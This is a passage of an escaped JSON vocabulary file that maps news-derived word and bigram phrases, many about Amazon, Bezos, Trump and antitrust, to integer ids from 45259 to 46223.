\"tickets 2019\": 45259,\n  \"away prime\": 45260,\n  \"facebook groups\": 45261,\n  \"doing second\": 45262,\n  \"stocks sectors\": 45263,\n  \"anarchist\": 45264,\n  \"avoided mentioning\": 45265,\n  \"cabinet colleagues\": 45266,\n  \"seafair air\": 45267,\n  \"sourcelink sourcename\": 45268,\n  \"elections integrity\": 45269,\n  \"springfield\": 45270,\n  \"raise postal\": 45271,\n  \"elton john\": 45272,\n  \"install browser\": 45273,\n  \"kump aldisert\": 45274,\n  \"internet brands\": 45275,\n  \"workers fighting\": 45276,\n  \"arduous\": 45277,\n  \"help attract\": 45278,\n  \"exerts\": 45279,\n  \"flattening\": 45280,\n  \"jokes just\": 45281,\n  \"xenit\": 45282,\n  \"pure coincidence\": 45283,\n  \"multiplication tables\": 45284,\n  \"having amazon\": 45285,\n  \"cooperatives holds\": 45286,\n  \"unlawful reasonableness\": 45287,\n  \"mgongloff1\": 45288,\n  \"cbs death\": 45289,\n  \"immediate restraining\": 45290,\n  \"amendment mccabe\": 45291,\n  \"company success\": 45292,\n  \"resource governance\": 45293,\n  \"sweetgreen\": 45294,\n  \"finding self\": 45295,\n  \"stopped people\": 45296,\n  \"law federal\": 45297,\n  \"1st deadline\": 45298,\n  \"8et\": 45299,\n  \"behoove facebook\": 45300,\n  \"great chance\": 45301,\n  \"truly competitive\": 45302,\n  \"california small\": 45303,\n  \"148 bought\": 45304,\n  \"zinke lieutenant\": 45305,\n  \"share data\": 45306,\n  \"largest bookseller\": 45307,\n  \"apga councillor\": 45308,\n  \"melillo\": 45309,\n  \"high ground\": 45310,\n  \"old building\": 45311,\n  \"new foundation\": 45312,\n  \"445\": 45313,\n  \"inaction\": 45314,\n  \"parts facebook\": 45315,\n  \"communities recommended\": 45316,\n  \"campaign amazon\": 45317,\n  \"misplaced cash\": 45318,\n  \"services advertising\": 45319,\n  \"holman jenkins\": 45320,\n  \"decade ago\": 45321,\n  \"discounted ivanka\": 45322,\n  \"rumours\": 45323,\n  \"make watergate\": 45324,\n  \"giant opened\": 45325,\n  \"untireless\": 45326,\n  \"relentlessly\": 45327,\n  \"crime 2018\": 45328,\n  \"effective examples\": 45329,\n  \"biggest office\": 45330,\n  \"global ambitions\": 45331,\n  \"craig grossi\": 45332,\n  \"comments mark\": 45333,\n  \"creates inflatable\": 45334,\n  \"sunnyside asking\": 45335,\n  \"pressed pelosi\": 45336,\n  \"theory researcher\": 45337,\n  \"amazon smashed\": 45338,\n  \"pay legal\": 45339,\n  \"biggest names\": 45340,\n  \"relayed\": 45341,\n  \"tumbled gold\": 45342,\n  \"westnead compared\": 45343,\n  \"hbo john\": 45344,\n  \"da davidson\": 45345,\n  \"sanders slamming\": 45346,\n  \"dreamer doer\": 45347,\n  \"country dumping\": 45348,\n  \"canyon press\": 45349,\n  \"series click\": 45350,\n  \"fellow sharecroppers\": 45351,\n  \"housing dozens\": 45352,\n  \"chastises\": 45353,\n  \"orrin\": 45354,\n  \"patrick breen\": 45355,\n  \"insider mary\": 45356,\n  \"asserted strange\": 45357,\n  \"ama study\": 45358,\n  \"gear saunders\": 45359,\n  \"workers wind\": 45360,\n  \"dan clark\": 45361,\n  \"holding hearings\": 45362,\n  \"approach\": 45363,\n  \"buy dang\": 45364,\n  \"brief snow\": 45365,\n  \"church draws\": 45366,\n  \"mocked amazon\": 45367,\n  \"friendly forest\": 45368,\n  \"contract according\": 45369,\n  \"vendors accounted\": 45370,\n  \"heard lot\": 45371,\n  \"575x270 getty_173218731_200015422000928060_388160\": 45372,\n  \"patch despite\": 45373,\n  \"ryan fournier\": 45374,\n  \"2017 despite\": 45375,\n  \"trump announcement\": 45376,\n  \"8b making\": 45377,\n  \"insider new\": 45378,\n  \"b3x apply\": 45379,\n  \"actually presents\": 45380,\n  \"massive company\": 45381,\n  \"dohastadium explosions\": 45382,\n  \"row xlf\": 45383,\n  \"state ge\": 45384,\n  \"sprawling business\": 45385,\n  \"market mark\": 45386,\n  \"marketing budgets\": 45387,\n  \"litigation\": 45388,\n  \"twitter facebook\": 45389,\n  \"undercutting\": 45390,\n  \"don amazon\": 45391,\n  \"killing sensational\": 45392,\n  \"story linking\": 45393,\n  \"west afp\": 45394,\n  \"carmakers\": 45395,\n  \"fabled prize\": 45396,\n  \"460 million\": 45397,\n  \"ips elementary\": 45398,\n  \"accountable imagine\": 45399,\n  \"handle moreconservative\": 45400,\n  \"refused egitimate\": 45401,\n  \"billion british\": 45402,\n  \"posted strong\": 45403,\n  \"fraudnewscnn\": 45404,\n  \"west monroe\": 45405,\n  \"affairs everett\": 45406,\n  \"pecker attorney\": 45407,\n  \"electrified x3\": 45408,\n  \"place wherethey\": 45409,\n  \"benedict arnold\": 45410,\n  \"casting doubt\": 45411,\n  \"amazon devon\": 45412,\n  \"spoofs\": 45413,\n  \"happened repatriation\": 45414,\n  \"version 1709\": 45415,\n  \"provide greater\": 45416,\n  \"life story\": 45417,\n  \"legislative fellow\": 45418,\n  \"pittsburgh new\": 45419,\n  \"cut household\": 45420,\n  \"named new\": 45421,\n  \"request congress\": 45422,\n  \"streaming television\": 45423,\n  \"acquires bagua\": 45424,\n  \"weeks trimming\": 45425,\n  \"salary hikes\": 45426,\n  \"pajamas\": 45427,\n  \"sellers moving\": 45428,\n  \"experiencing emotional\": 45429,\n  \"run derby\": 45430,\n  \"philanthropy charade\": 45431,\n  \"entity does\": 45432,\n  \"business request\": 45433,\n  \"gravy\": 45434,\n  \"strain american\": 45435,\n  \"infrastructure project\": 45436,\n  \"devilman crybaby\": 45437,\n  \"advises police\": 45438,\n  \"great relationship\": 45439,\n  \"family conversation\": 45440,\n  \"millionaire tax\": 45441,\n  \"huffington\": 45442,\n  \"reopen\": 45443,\n  \"famed slice\": 45444,\n  \"presumably sourced\": 45445,\n  \"cynical\": 45446,\n  \"franzia appeared\": 45447,\n  \"potus restaurant\": 45448,\n  \"agreement reached\": 45449,\n  \"cheat sheet\": 45450,\n  \"mixed success\": 45451,\n  \"elections voters\": 45452,\n  \"walmart home\": 45453,\n  \"act immediately\": 45454,\n  \"day numbers\": 45455,\n  \"multi domain\": 45456,\n  \"coveted title\": 45457,\n  \"using traditional\": 45458,\n  \"reed employment\": 45459,\n  \"bevested\": 45460,\n  \"posed dire\": 45461,\n  \"wildfires\": 45462,\n  \"announced tariffs\": 45463,\n  \"increasing number\": 45464,\n  \"economic number\": 45465,\n  \"concerns displacement\": 45466,\n  \"widely refuted\": 45467,\n  \"affairs jay\": 45468,\n  \"alphabet entered\": 45469,\n  \"sponsors greene\": 45470,\n  \"agencies pursue\": 45471,\n  \"change libel\": 45472,\n  \"monopolistic power\": 45473,\n  \"group looking\": 45474,\n  \"theology decades\": 45475,\n  \"vast bulk\": 45476,\n  \"danske reuters\": 45477,\n  \"man steamy\": 45478,\n  \"666 shares\": 45479,\n  \"speed limit\": 45480,\n  \"higher ground\": 45481,\n  \"european tax\": 45482,\n  \"ways raising\": 45483,\n  \"helen keller\": 45484,\n  \"groceries robotics\": 45485,\n  \"time definite\": 45486,\n  \"mutually respectful\": 45487,\n  \"digital creation\": 45488,\n  \"soars\": 45489,\n  \"subscribers\": 45490,\n  \"stronger company\": 45491,\n  \"significant republicans\": 45492,\n  \"badass vigilante\": 45493,\n  \"hires sanchez\": 45494,\n  \"press bolsonaro\": 45495,\n  \"troubled writer\": 45496,\n  \"tracy amazon\": 45497,\n  \"interests shortly\": 45498,\n  \"unlimited service\": 45499,\n  \"comments trump\": 45500,\n  \"business sears\": 45501,\n  \"632\": 45502,\n  \"hyperbolic president\": 45503,\n  \"services online\": 45504,\n  \"shirts hats\": 45505,\n  \"squads\": 45506,\n  \"quietly shipping\": 45507,\n  \"org trump\": 45508,\n  \"aristocrats\": 45509,\n  \"tricks descriptionplaintext\": 45510,\n  \"forward steven\": 45511,\n  \"true rubenstein\": 45512,\n  \"tumultuous political\": 45513,\n  \"legitimate negotiation\": 45514,\n  \"chief security\": 45515,\n  \"campaign number\": 45516,\n  \"meet making\": 45517,\n  \"palm flat\": 45518,\n  \"pooh poohed\": 45519,\n  \"shipstation brands\": 45520,\n  \"pres trump\": 45521,\n  \"instead parscale\": 45522,\n  \"hsn foto\": 45523,\n  \"ceo pat\": 45524,\n  \"suit 400\": 45525,\n  \"financial relief\": 45526,\n  \"new bride\": 45527,\n  \"weinroth palm\": 45528,\n  \"warmer\": 45529,\n  \"highly anticipated\": 45530,\n  \"kavanough accuser\": 45531,\n  \"vegas sands\": 45532,\n  \"little longer\": 45533,\n  \"market influence\": 45534,\n  \"bought brand\": 45535,\n  \"amazon grocery\": 45536,\n  \"feel free\": 45537,\n  \"son writer\": 45538,\n  \"discussed amazon\": 45539,\n  \"discredited mueller\": 45540,\n  \"malekan\": 45541,\n  \"mohamed bin\": 45542,\n  \"park evidence\": 45543,\n  \"opportunity blake\": 45544,\n  \"know frankly\": 45545,\n  \"signed trade\": 45546,\n  \"expect fiscal\": 45547,\n  \"network host\": 45548,\n  \"cut services\": 45549,\n  \"pnw\": 45550,\n  \"bring descriptionplaintext\": 45551,\n  \"metropolis\": 45552,\n  \"rohingya faith\": 45553,\n  \"residents new\": 45554,\n  \"html inc_override_url\": 45555,\n  \"beatriz meets\": 45556,\n  \"1993 led\": 45557,\n  \"policies 2018\": 45558,\n  \"phrases\": 45559,\n  \"clinics\": 45560,\n  \"long drawn\": 45561,\n  \"goldenbenjamin pic\": 45562,\n  \"indicatorstoggle false\": 45563,\n  \"video finishes\": 45564,\n  \"larger progressive\": 45565,\n  \"2017 nick\": 45566,\n  \"amazon approaches\": 45567,\n  \"sag biggest\": 45568,\n  \"underlying business\": 45569,\n  \"intricate pulsing\": 45570,\n  \"store jobs\": 45571,\n  \"victor anthony\": 45572,\n  \"way means\": 45573,\n  \"subdued investor\": 45574,\n  \"health conscious\": 45575,\n  \"profound question\": 45576,\n  \"paying additional\": 45577,\n  \"dslr slr\": 45578,\n  \"zev\": 45579,\n  \"taking longer\": 45580,\n  \"wage law\": 45581,\n  \"web enabled\": 45582,\n  \"fascistic\": 45583,\n  \"abc wh\": 45584,\n  \"principles addressing\": 45585,\n  \"retail spending\": 45586,\n  \"brief remarks\": 45587,\n  \"zachary leader\": 45588,\n  \"company claim\": 45589,\n  \"centric collection\": 45590,\n  \"word tariffs\": 45591,\n  \"tax home\": 45592,\n  \"fading business\": 45593,\n  \"trump voting\": 45594,\n  \"toronto san\": 45595,\n  \"atalanta sosnoff\": 45596,\n  \"famous incident\": 45597,\n  \"cortez knows\": 45598,\n  \"hippie\": 45599,\n  \"metapack shipping\": 45600,\n  \"listens\": 45601,\n  \"russia confirms\": 45602,\n  \"giving aid\": 45603,\n  \"total hours\": 45604,\n  \"legal cannabis\": 45605,\n  \"easy economic\": 45606,\n  \"opiates plentiful\": 45607,\n  \"ai machine\": 45608,\n  \"year promises\": 45609,\n  \"impulsive president\": 45610,\n  \"music charts\": 45611,\n  \"solutions george\": 45612,\n  \"gmo content\": 45613,\n  \"service showtime\": 45614,\n  \"apple facebook\": 45615,\n  \"crash site\": 45616,\n  \"springs colorado\": 45617,\n  \"aided convince\": 45618,\n  \"firm used\": 45619,\n  \"biggest accomplishments\": 45620,\n  \"trump badly\": 45621,\n  \"shutdown stalemate\": 45622,\n  \"rates usually\": 45623,\n  \"marathon asset\": 45624,\n  \"debt riddled\": 45625,\n  \"bank corporation\": 45626,\n  \"pointed cnn\": 45627,\n  \"border experts\": 45628,\n  \"trump decision\": 45629,\n  \"leave reply\": 45630,\n  \"gov women\": 45631,\n  \"redmond afp\": 45632,\n  \"fhd\": 45633,\n  \"chicago federal\": 45634,\n  \"standouts\": 45635,\n  \"week handed\": 45636,\n  \"negligible impact\": 45637,\n  \"identity theft\": 45638,\n  \"product listings\": 45639,\n  \"actually time\": 45640,\n  \"smartpower\": 45641,\n  \"country image\": 45642,\n  \"debilitating\": 45643,\n  \"activists tech\": 45644,\n  \"explains founder\": 45645,\n  \"parisa\": 45646,\n  \"start impeachment\": 45647,\n  \"apparel searches\": 45648,\n  \"commerce amid\": 45649,\n  \"cold hard\": 45650,\n  \"month takeover\": 45651,\n  \"expires amazon\": 45652,\n  \"account scandal\": 45653,\n  \"cream chargers\": 45654,\n  \"world nemesis\": 45655,\n  \"survivor david\": 45656,\n  \"employees comprehensive\": 45657,\n  \"yorker ami\": 45658,\n  \"trump general\": 45659,\n  \"road rage\": 45660,\n  \"inventory management\": 45661,\n  \"probes amazon\": 45662,\n  \"tedx\": 45663,\n  \"boy maybe\": 45664,\n  \"disappointingly actuals\": 45665,\n  \"kindling going\": 45666,\n  \"hurdle\": 45667,\n  \"damore situation\": 45668,\n  \"discrimination proceedings\": 45669,\n  \"products lighting\": 45670,\n  \"social chatter\": 45671,\n  \"regulation enforcement\": 45672,\n  \"letter read\": 45673,\n  \"unappealing\": 45674,\n  \"earning roughly\": 45675,\n  \"stock momentum\": 45676,\n  \"involving silence\": 45677,\n  \"male filmmakers\": 45678,\n  \"trump leadership\": 45679,\n  \"gulftimes trump\": 45680,\n  \"minneapolis st\": 45681,\n  \"misspelled\": 45682,\n  \"palisade\": 45683,\n  \"major traffic\": 45684,\n  \"markle central\": 45685,\n  \"harrer bloomberg\": 45686,\n  \"domain cnn\": 45687,\n  \"marshalls\": 45688,\n  \"macron\": 45689,\n  \"cites house\": 45690,\n  \"examination\": 45691,\n  \"specious\": 45692,\n  \"design capital\": 45693,\n  \"colbert\": 45694,\n  \"doj echoed\": 45695,\n  \"good solomon\": 45696,\n  \"bezos wearing\": 45697,\n  \"liability stated\": 45698,\n  \"initiative hint\": 45699,\n  \"southern\": 45700,\n  \"second 608m\": 45701,\n  \"970 shares\": 45702,\n  \"words reflecting\": 45703,\n  \"officers killed\": 45704,\n  \"establish fairer\": 45705,\n  \"racist policies\": 45706,\n  \"review pentagon\": 45707,\n  \"quarrying\": 45708,\n  \"president reason\": 45709,\n  \"excluding\": 45710,\n  \"increasingly aware\": 45711,\n  \"lengthy counterclaim\": 45712,\n  \"179 700\": 45713,\n  \"constant camera\": 45714,\n  \"cc66d8b3d8354d7686ff849b53fcb798\": 45715,\n  \"truce\": 45716,\n  \"built near\": 45717,\n  \"hume brithume\": 45718,\n  \"quarter subscriber\": 45719,\n  \"prohibits states\": 45720,\n  \"florists sex\": 45721,\n  \"open tim\": 45722,\n  \"shooting hundreds\": 45723,\n  \"amazon appropriate\": 45724,\n  \"decidedly mixed\": 45725,\n  \"ranting\": 45726,\n  \"post produce\": 45727,\n  \"subscription free\": 45728,\n  \"carriers charge\": 45729,\n  \"snowball edge\": 45730,\n  \"obamacare plans\": 45731,\n  \"aptly\": 45732,\n  \"breitbart tech\": 45733,\n  \"marys ontario\": 45734,\n  \"cohen ami\": 45735,\n  \"steam music\": 45736,\n  \"bezos actual\": 45737,\n  \"legislation slashed\": 45738,\n  \"say packages\": 45739,\n  \"amazon way\": 45740,\n  \"intercontinental missile\": 45741,\n  \"trump say\": 45742,\n  \"slick\": 45743,\n  \"sided war\": 45744,\n  \"bezos track\": 45745,\n  \"rated star\": 45746,\n  \"praised bolsonaro\": 45747,\n  \"major league\": 45748,\n  \"headlines mark\": 45749,\n  \"told marketwatch\": 45750,\n  \"munster loup\": 45751,\n  \"tax season\": 45752,\n  \"research cepr\": 45753,\n  \"150 970\": 45754,\n  \"cute snout\": 45755,\n  \"tpm\": 45756,\n  \"recommendations carousels\": 45757,\n  \"sleek apple\": 45758,\n  \"brennan make\": 45759,\n  \"blackfridaysinamazon\": 45760,\n  \"amazon jbl\": 45761,\n  \"capital exchange\": 45762,\n  \"continued progress\": 45763,\n  \"did elaborate\": 45764,\n  \"property rights\": 45765,\n  \"shalimar\": 45766,\n  \"finance filings\": 45767,\n  \"buildings new\": 45768,\n  \"trump big\": 45769,\n  \"finish line\": 45770,\n  \"worker including\": 45771,\n  \"benefits chinese\": 45772,\n  \"2018 tick\": 45773,\n  \"predates trump\": 45774,\n  \"old news\": 45775,\n  \"opened higher\": 45776,\n  \"rival coca\": 45777,\n  \"questioner\": 45778,\n  \"waters finding\": 45779,\n  \"privacy risk\": 45780,\n  \"riding sequences\": 45781,\n  \"pulls pistol\": 45782,\n  \"smashing expectations\": 45783,\n  \"seizing control\": 45784,\n  \"queen meghan\": 45785,\n  \"hours sent\": 45786,\n  \"tabloid owner\": 45787,\n  \"detracts\": 45788,\n  \"restrictions exist\": 45789,\n  \"evolved sufficiently\": 45790,\n  \"following cable\": 45791,\n  \"saunders wrote\": 45792,\n  \"saving ask\": 45793,\n  \"murray added\": 45794,\n  \"blight simon\": 45795,\n  \"regarding privacy\": 45796,\n  \"citizen consumer\": 45797,\n  \"miller teamed\": 45798,\n  \"pinching\": 45799,\n  \"chill european\": 45800,\n  \"health decision\": 45801,\n  \"digital plays\": 45802,\n  \"questions regarding\": 45803,\n  \"roughed\": 45804,\n  \"airborne firefighter\": 45805,\n  \"bovada\": 45806,\n  \"hearing underscored\": 45807,\n  \"form submit\": 45808,\n  \"facts kudlow\": 45809,\n  \"programs deemed\": 45810,\n  \"department urges\": 45811,\n  \"deplorable sticker\": 45812,\n  \"pay 756\": 45813,\n  \"cheyenne\": 45814,\n  \"wrote neil\": 45815,\n  \"following twitter\": 45816,\n  \"list merit\": 45817,\n  \"starting workers\": 45818,\n  \"technology mobility\": 45819,\n  \"carriers president\": 45820,\n  \"nearly matched\": 45821,\n  \"strand book\": 45822,\n  \"incendida\": 45823,\n  \"employees denying\": 45824,\n  \"litigation analyst\": 45825,\n  \"bernie ecclestone\": 45826,\n  \"tiffany tif\": 45827,\n  \"squat\": 45828,\n  \"coincided\": 45829,\n  \"make america\": 45830,\n  \"started yesterday\": 45831,\n  \"byways\": 45832,\n  \"ways people\": 45833,\n  \"google algorithms\": 45834,\n  \"mcconnell wrote\": 45835,\n  \"area read\": 45836,\n  \"kits\": 45837,\n  \"peak income\": 45838,\n  \"sharing laugh\": 45839,\n  \"undisclosed number\": 45840,\n  \"includes forward\": 45841,\n  \"pretty dark\": 45842,\n  \"returns products\": 45843,\n  \"national surveillance\": 45844,\n  \"seek compensation\": 45845,\n  \"result soybean\": 45846,\n  \"billion starting\": 45847,\n  \"epshteyn\": 45848,\n  \"monopolistic capitalism\": 45849,\n  \"accused american\": 45850,\n  \"flow company\": 45851,\n  \"people following\": 45852,\n  \"schultz\": 45853,\n  \"usps privatizing\": 45854,\n  \"usps doubles\": 45855,\n  \"firms want\": 45856,\n  \"hurston trust\": 45857,\n  \"incorrectly identified\": 45858,\n  \"106 year\": 45859,\n  \"ago trump\": 45860,\n  \"order jobs\": 45861,\n  \"scene toronto\": 45862,\n  \"assembled iphones\": 45863,\n  \"primarily inspirational\": 45864,\n  \"stocks mixed\": 45865,\n  \"face started\": 45866,\n  \"arbitration agreement\": 45867,\n  \"mccabe book\": 45868,\n  \"restrictions prioritizing\": 45869,\n  \"doesnt\": 45870,\n  \"294\": 45871,\n  \"600 passengers\": 45872,\n  \"minh\": 45873,\n  \"highly personal\": 45874,\n  \"trafficked runaways\": 45875,\n  \"amazon luther\": 45876,\n  \"alerts obviously\": 45877,\n  \"amazon drops\": 45878,\n  \"mchugh wrote\": 45879,\n  \"newshour breitbart\": 45880,\n  \"power right\": 45881,\n  \"planning company\": 45882,\n  \"petrochina\": 45883,\n  \"aut\": 45884,\n  \"harms transgender\": 45885,\n  \"custody talk\": 45886,\n  \"competition\": 45887,\n  \"multiple angles\": 45888,\n  \"competition grounds\": 45889,\n  \"crowd sourced\": 45890,\n  \"efficiency directorate\": 45891,\n  \"streitfeld\": 45892,\n  \"women cornered\": 45893,\n  \"agriculture commissioner\": 45894,\n  \"fair painted\": 45895,\n  \"remainder\": 45896,\n  \"despite substantial\": 45897,\n  \"titled executive\": 45898,\n  \"dan kurzius\": 45899,\n  \"courtney kube\": 45900,\n  \"assemblyman braunstein\": 45901,\n  \"moonshot\": 45902,\n  \"complete listing\": 45903,\n  \"mccain warned\": 45904,\n  \"piece axios\": 45905,\n  \"times ivanka\": 45906,\n  \"start conversation\": 45907,\n  \"aggressive trump\": 45908,\n  \"faces increased\": 45909,\n  \"sen jon\": 45910,\n  \"citing unflattering\": 45911,\n  \"odd cbs\": 45912,\n  \"keeping families\": 45913,\n  \"elected claiming\": 45914,\n  \"digital logistics\": 45915,\n  \"stocks shares\": 45916,\n  \"unfunded\": 45917,\n  \"streamline newsletter\": 45918,\n  \"wondered\": 45919,\n  \"court willingness\": 45920,\n  \"sole seat\": 45921,\n  \"danny malley\": 45922,\n  \"blumenthal connecticut\": 45923,\n  \"preceded\": 45924,\n  \"sanders ensued\": 45925,\n  \"dominant\": 45926,\n  \"casinos featuring\": 45927,\n  \"eagle\": 45928,\n  \"partner organizations\": 45929,\n  \"address google\": 45930,\n  \"israel does\": 45931,\n  \"reportedly divided\": 45932,\n  \"day jedi\": 45933,\n  \"conflicting\": 45934,\n  \"fox does\": 45935,\n  \"page book\": 45936,\n  \"richter scale\": 45937,\n  \"karate chop\": 45938,\n  \"susan buckner\": 45939,\n  \"resource available\": 45940,\n  \"philosophically conservative\": 45941,\n  \"begin selling\": 45942,\n  \"dingtalk office\": 45943,\n  \"yaeger\": 45944,\n  \"isn sweating\": 45945,\n  \"sellers 1p\": 45946,\n  \"promise puts\": 45947,\n  \"financial times\": 45948,\n  \"painful effort\": 45949,\n  \"bloomberg reports\": 45950,\n  \"authority 2018\": 45951,\n  \"reunions\": 45952,\n  \"strong arm\": 45953,\n  \"test photo\": 45954,\n  \"impacting politics\": 45955,\n  \"hsn hsn\": 45956,\n  \"bezos twitter\": 45957,\n  \"content uploads\": 45958,\n  \"super wealthy\": 45959,\n  \"union gmb\": 45960,\n  \"news results\": 45961,\n  \"kicks star\": 45962,\n  \"liquefied natural\": 45963,\n  \"begun filming\": 45964,\n  \"brain gain\": 45965,\n  \"kroll\": 45966,\n  \"milder\": 45967,\n  \"actually profiting\": 45968,\n  \"reynolds european\": 45969,\n  \"implying reporters\": 45970,\n  \"sanders highlighted\": 45971,\n  \"butnick\": 45972,\n  \"forestry laws\": 45973,\n  \"media bought\": 45974,\n  \"propose changes\": 45975,\n  \"attendance\": 45976,\n  \"successfully integrate\": 45977,\n  \"election year\": 45978,\n  \"brother hollywood\": 45979,\n  \"agcom amaozn\": 45980,\n  \"allen lawyers\": 45981,\n  \"faces airbus\": 45982,\n  \"khqdwikvjv ronan\": 45983,\n  \"pleasers\": 45984,\n  \"agricultural producers\": 45985,\n  \"campaign ami\": 45986,\n  \"uncollected sales\": 45987,\n  \"twitter shadow\": 45988,\n  \"zacks best\": 45989,\n  \"outrageously\": 45990,\n  \"johngaramendi\": 45991,\n  \"vast fortune\": 45992,\n  \"juicier\": 45993,\n  \"brand oath\": 45994,\n  \"utter nonsense\": 45995,\n  \"bar yesterday\": 45996,\n  \"company outstanding\": 45997,\n  \"minded online\": 45998,\n  \"shares lower\": 45999,\n  \"major metropolis\": 46000,\n  \"alternative source\": 46001,\n  \"impending criminal\": 46002,\n  \"replace local\": 46003,\n  \"reports expectations\": 46004,\n  \"soon won\": 46005,\n  \"revealing personal\": 46006,\n  \"forever eventually\": 46007,\n  \"intimate ceremony\": 46008,\n  \"2018 mike\": 46009,\n  \"conditions\": 46010,\n  \"nella dutch\": 46011,\n  \"big online\": 46012,\n  \"bring modern\": 46013,\n  \"entry\": 46014,\n  \"board caption\": 46015,\n  \"product away\": 46016,\n  \"amazon projected\": 46017,\n  \"department finance\": 46018,\n  \"priced supermarket\": 46019,\n  \"trump cited\": 46020,\n  \"mta percoco\": 46021,\n  \"race jumaane\": 46022,\n  \"kidman force\": 46023,\n  \"targeting china\": 46024,\n  \"191 million\": 46025,\n  \"allstate insurance\": 46026,\n  \"pl facebook\": 46027,\n  \"matter investors\": 46028,\n  \"shaved yesterday\": 46029,\n  \"awesome blessing\": 46030,\n  \"includes tools\": 46031,\n  \"flatten\": 46032,\n  \"categorical\": 46033,\n  \"poison ricin\": 46034,\n  \"965 shares\": 46035,\n  \"previous editions\": 46036,\n  \"infinity\": 46037,\n  \"f7ce00 true\": 46038,\n  \"isn\": 46039,\n  \"follows facebook\": 46040,\n  \"tell marketwatch\": 46041,\n  \"twist overall\": 46042,\n  \"hq lather\": 46043,\n  \"security brawl\": 46044,\n  \"short easy\": 46045,\n  \"authorities means\": 46046,\n  \"certifies\": 46047,\n  \"dominance attracting\": 46048,\n  \"soaring rents\": 46049,\n  \"baudelaire children\": 46050,\n  \"bring management\": 46051,\n  \"armitage\": 46052,\n  \"game photo\": 46053,\n  \"commission took\": 46054,\n  \"constitutional duty\": 46055,\n  \"canadian value\": 46056,\n  \"bezos accumulated\": 46057,\n  \"morning broadsheet\": 46058,\n  \"federal funds\": 46059,\n  \"york kennedy\": 46060,\n  \"finally reinstated\": 46061,\n  \"legislation creates\": 46062,\n  \"putin insisting\": 46063,\n  \"nefarious purposes\": 46064,\n  \"descriptionplaintext rachel\": 46065,\n  \"duffel handbag\": 46066,\n  \"french wines\": 46067,\n  \"advantage forte\": 46068,\n  \"additional languages\": 46069,\n  \"week released\": 46070,\n  \"occurs cities\": 46071,\n  \"antitrust perspective\": 46072,\n  \"n924661 thieves\": 46073,\n  \"services contract\": 46074,\n  \"careful reading\": 46075,\n  \"billion cnbc\": 46076,\n  \"century people\": 46077,\n  \"chief activities\": 46078,\n  \"crumble\": 46079,\n  \"troubling trend\": 46080,\n  \"mariner books\": 46081,\n  \"facebook internal\": 46082,\n  \"pay brian\": 46083,\n  \"270\": 46084,\n  \"nancy scola\": 46085,\n  \"project leaders\": 46086,\n  \"deep disagreements\": 46087,\n  \"bannion\": 46088,\n  \"just took\": 46089,\n  \"small parcel\": 46090,\n  \"scattergun\": 46091,\n  \"dead aim\": 46092,\n  \"remains available\": 46093,\n  \"rescues indigenous\": 46094,\n  \"giant lobbying\": 46095,\n  \"dependent instead\": 46096,\n  \"jj\": 46097,\n  \"3d handgun\": 46098,\n  \"inappropriate criteria\": 46099,\n  \"toxic culture\": 46100,\n  \"5g mobile\": 46101,\n  \"retail commerce\": 46102,\n  \"snl pointed\": 46103,\n  \"cell\": 46104,\n  \"readers favorite\": 46105,\n  \"language\": 46106,\n  \"losing sessions\": 46107,\n  \"development official\": 46108,\n  \"snoqualmie pass\": 46109,\n  \"interesting data\": 46110,\n  \"action amazon\": 46111,\n  \"difficult antitrust\": 46112,\n  \"robot brothel\": 46113,\n  \"election saying\": 46114,\n  \"combining criticism\": 46115,\n  \"waylaid\": 46116,\n  \"second job\": 46117,\n  \"news roundup\": 46118,\n  \"express giving\": 46119,\n  \"decision read\": 46120,\n  \"casting wide\": 46121,\n  \"leaves importers\": 46122,\n  \"currently report\": 46123,\n  \"just looked\": 46124,\n  \"renault tried\": 46125,\n  \"foods holds\": 46126,\n  \"valley antitrust\": 46127,\n  \"approximately 207\": 46128,\n  \"metropolitan news\": 46129,\n  \"soon face\": 46130,\n  \"staircases\": 46131,\n  \"powerhouse 2018\": 46132,\n  \"india dream\": 46133,\n  \"really bad\": 46134,\n  \"justice book\": 46135,\n  \"vallone released\": 46136,\n  \"tricks sliming\": 46137,\n  \"404\": 46138,\n  \"organizing brought\": 46139,\n  \"dc based\": 46140,\n  \"building solid\": 46141,\n  \"processing\": 46142,\n  \"paris style\": 46143,\n  \"story robin\": 46144,\n  \"apart cape\": 46145,\n  \"endowment\": 46146,\n  \"facebook embedded\": 46147,\n  \"inappropriate white\": 46148,\n  \"business landscape\": 46149,\n  \"gains exit\": 46150,\n  \"reportedly planning\": 46151,\n  \"strong words\": 46152,\n  \"mean work\": 46153,\n  \"gillespie\": 46154,\n  \"violations referring\": 46155,\n  \"eschewing\": 46156,\n  \"meeting included\": 46157,\n  \"imperative fireside\": 46158,\n  \"worker robert\": 46159,\n  \"event tesla\": 46160,\n  \"portland ore\": 46161,\n  \"podesta\": 46162,\n  \"shaky\": 46163,\n  \"videos bzwidgets\": 46164,\n  \"day extension\": 46165,\n  \"pestilential\": 46166,\n  \"cheaper just\": 46167,\n  \"tie workplace\": 46168,\n  \"pr foxconn\": 46169,\n  \"industry bulldozing\": 46170,\n  \"understanding anti\": 46171,\n  \"american thinker\": 46172,\n  \"trump directive\": 46173,\n  \"superpowers\": 46174,\n  \"wealthy democrats\": 46175,\n  \"debbie\": 46176,\n  \"consultant company\": 46177,\n  \"burton\": 46178,\n  \"negotiators wrapped\": 46179,\n  \"tranquility\": 46180,\n  \"turns pleading\": 46181,\n  \"splc regularly\": 46182,\n  \"shasta ventures\": 46183,\n  \"cardinal\": 46184,\n  \"soulful\": 46185,\n  \"huge amazon\": 46186,\n  \"billionaire clown\": 46187,\n  \"s8i a4ee\": 46188,\n  \"retaining\": 46189,\n  \"enforcement offices\": 46190,\n  \"workers empowering\": 46191,\n  \"toothbrushes\": 46192,\n  \"sybt\": 46193,\n  \"federal contractors\": 46194,\n  \"wright runstad\": 46195,\n  \"doll sales\": 46196,\n  \"larger stories\": 46197,\n  \"walk aryan\": 46198,\n  \"prevailing\": 46199,\n  \"vernon unsworth\": 46200,\n  \"cara knoedler\": 46201,\n  \"cos attended\": 46202,\n  \"uruguay\": 46203,\n  \"costello pa\": 46204,\n  \"leftovers\": 46205,\n  \"profit distribution\": 46206,\n  \"severance pay\": 46207,\n  \"scheme lm\": 46208,\n  \"newly available\": 46209,\n  \"study reviewed\": 46210,\n  \"appropriate role\": 46211,\n  \"refugees america\": 46212,\n  \"city bezos\": 46213,\n  \"actress oscars\": 46214,\n  \"business funding\": 46215,\n  \"trump decries\": 46216,\n  \"nasdaq viab\": 46217,\n  \"example target\": 46218,\n  \"interview viewer\": 46219,\n  \"preliminary inquiry\": 46220,\n  \"aid organization\": 46221,\n  \"bundy sally\": 46222,\n  \"faint echo\": 46223,\n  